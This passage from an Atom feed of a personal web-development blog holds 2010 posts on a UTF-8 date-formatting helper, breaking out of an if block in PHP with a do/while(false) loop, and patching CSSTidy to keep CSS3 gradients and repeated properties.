&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; utf8_encode&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;strftime&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;utf8_decode&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$format&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;strtotime&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$date&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // On linux, this is already taken care of by setlocale()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; strftime&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$format&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;strtotime&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$date&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This way, we make sure that the date is correctly displayed in utf8, no matter
the OS, even if you already supply utf8 characters in the format string.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Breaking out of an if statement in PHP</title>
    <link href="https://blog.pixelastic.com/2010/06/30/breaking-out-of-an-if-statement-in-php/"/>
    <updated>2010-06-30T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/06/30/breaking-out-of-an-if-statement-in-php</id>
    <content type="html">&lt;p&gt;One pattern I use when writing new method is to put conditions that may end the
script early on top. Like &amp;quot;stop the method if the arguments are not right&amp;quot; or
&amp;quot;stop the action if the user is not loggued in&amp;quot;.&lt;/p&gt;
&lt;p&gt;It allow me to avoid having nested &lt;code&gt;if&lt;/code&gt;/&lt;code&gt;else&lt;/code&gt; statement that became unreadable.&lt;/p&gt;
&lt;p&gt;Felix from Debuggable wrote [something about that a while
ago.](http://debuggable.com/posts/programming-psychology-return-home-early
:4811de9f-ae28-49c2-a7dc-2f154834cda3)&lt;/p&gt;
&lt;p&gt;This is a pretty easy pattern to follow when writing methods, but can be quite
harder to achieve if you need to stick inside a main method. You just want to go
&amp;quot;out&amp;quot; of the &lt;code&gt;if&lt;/code&gt; statement, to continue the script, but not end the method.&lt;/p&gt;
&lt;h2&gt;Break to the rescue&lt;/h2&gt;
&lt;p&gt;You can&#39;t use the &lt;code&gt;break&lt;/code&gt; keyword in an &lt;code&gt;if&lt;/code&gt; statement like you would in a loop.
It just throws an error.&lt;/p&gt;
&lt;p&gt;But, you can define a simple &lt;code&gt;do {} while (false)&lt;/code&gt; loop and use the break
goodness inside it.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;empty&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$data&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;break&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;                 &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;create&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$data&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;                   &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;validates&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;()) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;break&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;                   &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;save&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;while&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This helped me some times, hope it can help someone else.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>CSS3 gradients with CSSTidy</title>
    <link href="https://blog.pixelastic.com/2010/06/28/css3-gradients-with-csstidy/"/>
    <updated>2010-06-28T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/06/28/css3-gradients-with-csstidy</id>
    <content type="html">&lt;p&gt;Gradients are one of the new cool stuff CSS3 brought with it. Like the others
cool things, it still suffer from a partial implementation and vendor-specific
properties.&lt;/p&gt;
&lt;p&gt;It also isn&#39;t correctly parsed by CSSTidy. Here I&#39;ll show you how to patch your
CSSTidy to make it eat gradients correctly.&lt;/p&gt;
&lt;h2&gt;Quick and dirty patch&lt;/h2&gt;
&lt;p&gt;First, you&#39;ll need to edit the huge &lt;code&gt;parse()&lt;/code&gt; method in c&lt;code&gt;sstidy.ph&lt;/code&gt;p. You&#39;ll
have to add a condition to explictly tell CSSTidy not to discard
&lt;code&gt;-webkit- gradient&lt;/code&gt; and &lt;code&gt;-moz-linear-gradient&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Just open your &lt;code&gt;csstidy.php&lt;/code&gt; file, find the &lt;code&gt;parse()&lt;/code&gt; method and locate the
&lt;code&gt;case &#39;instr&#39;&lt;/code&gt; in the huge &lt;code&gt;switch&lt;/code&gt; statement.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;str_char&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;)&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; in_array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$string&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$GLOBALS&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;csstidy&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;whitespace&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;str_in_str&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;cur_string&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; .=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $temp_add&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// the whole else block is new&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;sub_value&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;-webkit-gradient&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;sub_value&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;-moz-linear-gradient&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;        $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;cur_string&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39; &#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;else&lt;/code&gt; part is the one to add. This will make sure your webkit and firefox
gradient rules will get processed correctly.&lt;/p&gt;
&lt;p&gt;I don&#39;t really understand WHY it work, but it does. The &lt;code&gt;parse()&lt;/code&gt; method is a
huge uncommented mess, it is quite difficult to understand it. There must be a
better way, a more generic one than specifying some properties, but I didn&#39;t
manage to come with anything better than that.&lt;/p&gt;
&lt;p&gt;Fortunatly, the next part is cleaner.&lt;/p&gt;
&lt;h2&gt;Telling CSSTidy which properties not to merge&lt;/h2&gt;
&lt;p&gt;If you write a css like the following, only the latest (&lt;code&gt;color:white&lt;/code&gt;) rule will
get through CSSTidy.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  color&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;red&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  color&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;white&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&#39;s logical, because CSSTidy will remove any unused CSS declaration.
Unfortunatly, this is not what we want, because we need to declare several
&lt;code&gt;background:&lt;/code&gt; rules, one for Webkit, and one for Firefox.&lt;/p&gt;
&lt;p&gt;By looking at CSSTidy source code, we can find that it contain a quick fix to
allow the &lt;code&gt;cursor:&lt;/code&gt; property to be defined several time (to cope with the old
&lt;code&gt;cursor:pointer&lt;/code&gt; / &lt;code&gt;cursor:hand&lt;/code&gt; issue).&lt;/p&gt;
&lt;p&gt;I just extended this quick fix to work for other properties as well, and even
managed to allow them to be passed as a config value.&lt;/p&gt;
&lt;h2&gt;Defining the config value&lt;/h2&gt;
&lt;p&gt;First, open the &lt;code&gt;csstidy.php&lt;/code&gt; file, and around line 310 you should find a list
of default config values. Just add the following:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;settings&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;multiple_properties&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;cursor&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;background&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will define the default list of properties that are allowed to be defined
several times in a css rule.&lt;/p&gt;
&lt;p&gt;Next, we&#39;ll edit the &lt;code&gt;set_cfg()&lt;/code&gt; method to allow the passing of array values.
Just replace the else statement with this one:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;else if(isset($&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;this-&gt;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;settings[$&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;setting&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; $value !== &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  // &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;Merging array settings&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  if (is_array($value&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; is_array($&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;this-&gt;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;settings[$&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;setting&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    $this-&gt;settings[$setting] = array_merge($this-&gt;settings[$setting], $value);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  }&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; else&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    // &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;Setting classic setting&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  $this-&gt;settings[$setting] = $value;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  if ($setting === &#39;template&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    $this-&gt;_load_template($this-&gt;settings[&#39;template&#39;]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  return true;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can now pass a list of properties to be added to the existing list by
calling &lt;code&gt;-&amp;gt;set_cfg(&#39;multiple_properties&#39;, array(&#39;property1&#39;, &#39;property2&#39;));&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now, find the &lt;code&gt;css_add_property(&lt;/code&gt;) method, and around line 1066, change
the&lt;code&gt;if (strtolower($property) == &#39;cursor&#39;)&lt;/code&gt;if statement to this more generic one
:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;in_array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$property&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;get_cfg&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;multiple_properties&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And now, in &lt;code&gt;csstidy_print.php&lt;/code&gt;, find the &lt;code&gt;_print()&lt;/code&gt; method, and replace the
&lt;code&gt;case PROPERTY&lt;/code&gt; block with this (more concise) one:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;case&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; PROPERTY&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Converting back multiple properties&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $multipleProperties&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;parser&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;get_cfg&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;multiple_properties&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  foreach&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$multipleProperties&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; as&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $property&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $propertyLength&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; strlen&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$property&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
